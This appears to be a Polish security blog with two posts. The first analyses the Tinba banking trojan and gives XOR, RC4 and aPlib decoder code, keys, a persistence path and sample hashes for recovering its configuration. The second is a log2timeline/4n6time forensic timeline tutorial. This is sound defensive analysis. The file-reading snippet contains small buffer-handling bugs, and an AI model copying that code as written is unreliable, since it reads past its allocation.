Niestety na każdym komputerze generowany jest inny klucz związany z hostem. Klucz można pozyskać z kilku miejsc, między innymi z komunikacji sieciowej lub nazwy katalogu w którym zapisywany jest plik wykonywalny. W naszym przypadku będzie to D77AE23E.
Poniżej kod realizujący tą funkcję:


Fragment pliku konfiguracyjnego przed i po kodowaniu:

Funkcja naszego programu odkodowującego może wyglądać następująco:

xor(const void *source, int size)
{
    __asm {

        mov esi, ebx
        xor ebx, ebx
        mov ebx, 0x3E2C7AD7
       
    loop1:
        xor [ecx], bl
        ror ebx, 8
        inc ecx
        dec eax
        jnz loop1
    end1:
        mov ebx, esi
    }


Do funkcji przekazujemy dwa parametry: wskaźnik do tablicy z wczytanym plikiem web.dat oraz rozmiar. Poniżej fragment kodu odczytujący plik i wyliczający rozmiar.

FILE *fin;

fopen_s(&fin, argv[1], "rb");
fseek(fin, 0, SEEK_END);
sourcefilesize = ftell(fin);
rewind(fin);
char * tab_scr = (char *)malloc(sourcefilesize);
fread(buf1, 1, sourcefilesize, fin);
for (i = 0; i <= sourcefilesize; i++)
tab_scr[i] = 0;
memcpy(tab_scr, buf1, sourcefilesize); 

 

2. Odkodowywanie z kluczem RC

 


Fragment odkodowanego pliku:


Poniżej funkcja [2], którą zastosujemy w naszym programie dekodującym:

    rc4(char * Input, char * password, char * &Output, int sourcefilesize){
    char * temp;
    int i, j = 0, t, tmp, tmp2, s[256], k[256];
    for (tmp = 0; tmp<256; tmp++){
        s[tmp] = tmp;
        k[tmp] = password[(tmp % strlen((char *)password))];
    }
    for (i = 0; i<256; i++){
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
    temp = new char[sourcefilesize];
    i = j = 0;
    for (tmp = 0; tmp< sourcefilesize; tmp++){
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp2 = s[i];
        s[i] = s[j];
        s[j] = tmp2;
        t = (s[i] + s[j]) % 256;
   
            temp[tmp] = s[t] ^ Input[tmp];
    }
   
    Output = temp;
}

 

3. Dekompresja odkodowanego pliku

 

Kompresja danych i dekompresja bazuje na aPlib:


Ostatni fragment kodu funkcji dekompresującej: 

        int decompress(const void *tab_scr, void *tab_dst){

            __asm{
            pushad
            mov    esi, [esp + 0x18]; tablica źródłowa
            mov    edi, [esp + 0x1c]; docelowa tablica
            add    esi, 4; omijamy nagłówek AP32
            cld
            mov    dl, 80h
            xor    ebx, ebx
           
        literal:
            movsb
            mov    bl, 2
        nexttag:
            call    getbit
            jnc     literal               

            xor     ecx, ecx
            call    getbit
            jnc     codepair           
            xor     eax, eax
            call    getbit
            jnc     shortmatch           
            mov    bl, 2
            inc     ecx
            mov     al, 10h
        getmorebits:
            call    getbit
            adc     al, al
            jnc     getmorebits               
            jnz     domatch
            stosb
            jmp     nexttag
        codepair:
            call    getgamma_no_ecx
            sub     ecx, ebx; sub    ecx, ebx
            jnz     normalcodepair
            call    getgamma
            jmp     domatch_lastpos
        shortmatch:
            lodsb                               
            shr     eax, 1
            jz      donedepacking               
            adc     ecx, ecx
            jmp     domatch_with_2inc
        normalcodepair:
            xchg    eax, ecx
            dec     eax
            shl     eax, 8
            lodsb                               
            call    getgamma

            cmp     eax, 32000
            jnc     domatch_with_2inc           
            cmp     ah, 5
            jnc     domatch_with_inc           
            cmp     eax, 7Fh
            ja      domatch_new_lastpos
        domatch_with_2inc:
            inc     ecx
        domatch_with_inc:
            inc     ecx
        domatch_new_lastpos:
            xchg    eax, ebp
        domatch_lastpos:
            mov     eax, ebp
            mov    bl, 1
        domatch:   
            push    esi
            mov     esi, edi
            sub     esi, eax
            rep     movsb
            pop     esi
            jmp     nexttag
        getbit:       
            add     dl, dl
            jnz     stillbitsleft
            mov     dl, [esi]
            inc     esi
            adc     dl, dl
        stillbitsleft:
            ret
        getgamma:
            xor     ecx, ecx
        getgamma_no_ecx:
            inc     ecx
        getgammaloop:
            call    getbit
            adc     ecx, ecx
            call    getbit
            jc      getgammaloop       
            ret
        donedepacking:
            sub    edi, [esp+0x1c];    dest //wyliczanie rozmiaru
            mov    [esp], edi; //esp _ret$ zwracamy rozmiar docelowy
            popad
    }}

Kod aPlib możemy znaleźć  między innymi na tych stronach  [3] i [4].  Uwaga, w stosunku do wskazanych źródeł [2,3,4] dokonaliśmy modyfikacji, więc najlepiej wykorzystać podany tutaj kod.
Pozostaje nam już tylko zapisać wynik do pliku.

size_of_output = decompress(tab_scr, tab_dst);
fwrite(tab_dst, size_of_output, 1, fout);


Rezultat przedstawiony jest poniżej:


Analizując malware można też zidentyfikować inny klucz XOR - F3AA0663 (tym razem stały). Używany jest on do odkodowywania fragmentów konfiguracyjnych malware, które w formie zakodowanej znajdują się w sekcji danych aplikacji.

Funkcja dekodująca:


Fragment wczytujący BOTUID do zapytania URL:

Plik wykonywalny dodawany do klucza RUN zapisywany jest w katalogu:

C:\Users\<username>\AppData\Roaming\3E2C7AD7\bin.exe

Źródła:
[1] http://blog.fortinet.com/post/tinba-the-pied-piper-leading-your-banking-credentials-into-the-hands-of-hackers
[2] http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=4653&lngWId=3
[3] http://ibsensoftware.com/products_aPLib.html
[4] https://code.google.com/p/at2/issues/detail?id=17
[5] Próbki:  MD5: 49BDB9D33F6F7B0C5919A1CB289365EA oraz MD5: AE2B35B39011DFAA7F5A8072899A699C


sobota, 13 czerwca 2015

Malware timeline

Historia aktywności (ang. timeline lub jak ktoś woli oś czasu) jest techniką wykorzystywaną w informatyce śledczej. Chodzi o odtworzenie w czasie sekwencji aktywności wykonywanych przez użytkownika.

Tę technikę możemy zastosować gdy nie mamy 100% pewności czy i ewentualnie który plik/pliki są złośliwym oprogramowaniem na komputerze. Oczywiście cele analizy mogą być różne – od identyfikacji złośliwego oprogramowania po określenie do których informacji intruz uzyskał dostęp.

Odtworzenie zdarzeń w czasie jest tym dokładniejsze im większą ilość danych posiadamy. Można to porównać do dedykowanych systemów używanych w instytucjach do zbierania i korelacji zdarzeń z wielu systemów i aplikacji. Przenosząc analogiczną funkcjonalność na poziom jednego serwera lub stacji roboczej również mamy na myśli zdarzenia generowane przez aplikacje ale nie tylko. Są to również zdarzenia zapisywane w metadanych systemu plików (w tym informacje o usuniętych obiektach), dane z rejestrów czy dzienników zdarzeń systemu operacyjnego.

Przed rozpoczęciem analizy chcemy zwrócić uwagę na dwie istotne kwestie.

Timeline to historia zdarzeń w czasie gdzie głównym parametrem są daty zapisane w systemie. W przypadku danych z systemu plików jest to informacja o ostatnim dostępie do pliku czy ostatniej zmianie zawartości pliku. Dla przykładu, jeśli użytkownik pięć razy odczytywał zwartość pliku – to w systemie plików mamy informację o ostatniej dacie. Oczywiście jest wiele wyjątków od tej zasady (miejsc gdzie możemy odczytać inne daty).

Podczas analizy istotna jest również wiedza na temat jak konkretny system się „zachowuje” (np. kiedy uaktualniana jest zawartość parametru Date Accessed atrybutu STANDARD_INFORMATION dla pliku - rekordu typu FILE w tablicy MFT dla systemu Windows 7).

Podsumowując – trzeba być bardzo ostrożnym w formułowaniu wniosków w raporcie z analizy.

Zacznijmy jednak od prostego przykładu. Chcemy sprawdzić, czy użytkownik otworzył otrzymaną „fakturę/informację o przesyłce, paczce, działce itp” oraz czy i ewentualnie jaka była aktywność złośliwego oprogramowania na zainfekowanym komputerze.

Pierwszy krok to wykonanie kopii dysku twardego komputera.

Drugi krok to zamontowanie partycji w trybie do odczytu na systemie używanym do analizy. Polecamy SIFT Workstation [1].

#mount.ntfs-3g –o ro,nodev,noexec,show_sys_files,loop malware_ntfs01.dd /cases/training/analiza

Krok trzeci – korzystając z narzędzia log2timeline generujemy plik w formacie csv o “wszystkich” zdarzeniach w analizowanym systemie [2]:

#log2timeline –z CET –w /cases/wynik_timeline.csv –f win7 –r –p /cases/training/analiza


Istotna jest wartość parametru -f. Lista win7 zawiera następujące moduły (parser-y do analizy danych): chrome, evtx, exif, ff_bookmark, firefox3, iehistory, iis, mcafee, opera, oxml, pdf, prefetch, recycler, restore, sol, win_link, xpfirewall, wmiprov, ntuser, software, system, sam, mft, ff_cache, mcafeefireup, mcafeehel, mcafeehs, openvpn, skype_sql, security, Symantec, firefox2 oraz safari.

Mamy też inną możliwość - zapisanie wyników w formacie mactime [3] (przełącznik –o) i za pomocą komendy mactime wykonania filtrowania w przedziale czasu (#mactime –b /cases/wynik_timeline.txt  2015-06-01..2015-06-11 > wynik_timeline_filtered.txt)

My zapisujemy dane w formacie csv gdyż do analizy aktywności użyjemy narzędzia graficznego 4n6time [2].

Po uruchomieniu 4n6time tworzymy nową bazę i wczytujemy plik csv. Dodatkowo wprowadzamy filtr dotyczący przedziału czasu.

4n6time pozwala wyszukiwać po każdym z pół. Jeżeli nie mamy pomysłu od czego zacząć – sprawdźmy czy zmodyfikowany został np. rejestr RUN (częste zachowane malware). Użyjemy do tego funkcji String Search.


8 czerwca o godzinie 13:19:37 zmodyfikowany został klucz RUN (MACB to kolejno: File Modified, Accessed, MFT Modified, Changed).

Sprawdźmy inne zdarzenia w tym samym czasie zapisane w analizowanym systemie:


Oprócz informacji z rejestrów (NTUSER.dat – profil zainfekowanego użytkownika) jest jeszcze zdarzenie dotyczące utworzenia pliku exe w podkatalogu c:/Users/<username>/AppData/Local użytkownika.

Sekundę wcześniej został zmodyfikowany plik w katalogu Prefetch. Informacja z prefetch (modyfikacja czasów AB) oznacza, że plik aaa.exe („faktura” – plik wykonywalny ze złośliwym kodem) był uruchamiany przez użytkownika więcej niż 1 raz.

Potwierdza to informacja o pliku z funkcji systemu Windows User Assist (zapisuje dane w NTUSER.DAT):


W niniejszym przykładzie korelacja danych pochodzi tylko z 3 modułów (prefetch, mft, ntuser) a mimo to pozwoliła na odtworzenie fragmentu zdarzeń z przeszłości.

Kontynuując analizę możemy zauważyć, że niecałe 3 minuty później tworzone i modyfikowane są pliki (exe i tmp) w katalogu temp zainfekowanego użytkownika.


Z poziomu narzędzia 4n6time będzie możliwe  sprawdzenie podejrzanych plików w VirusTotal lub wyświetlić ich zawartość.

Pliki exe to programy rozsyłające wiadomości email z „informacją o przesyłce” na kolejne adresy email. W plikach .tmp znajdują się treści email oraz stron w różnych językach – w tym ten dotyczący przesyłek DHL.




Należy pamiętać, że timeline nie umożliwi odtworzenia wszystkich zdarzeń / aktywności programów – w szczególności wszystkich aktywności złośliwego kodu (zazwyczaj malware nie korzysta z przeglądarki internetowej tylko bezpośrednio z API bibliotek). Niemniej technika ta pozwala na odtworzenie działań użytkowników w tym zidentyfikowania źródła infekcji.

Odnośniki:

[1] http://digital-forensics.sans.org/community/downloads
[2] http://plaso.kiddaland.net/
[3] http://www.sleuthkit.org/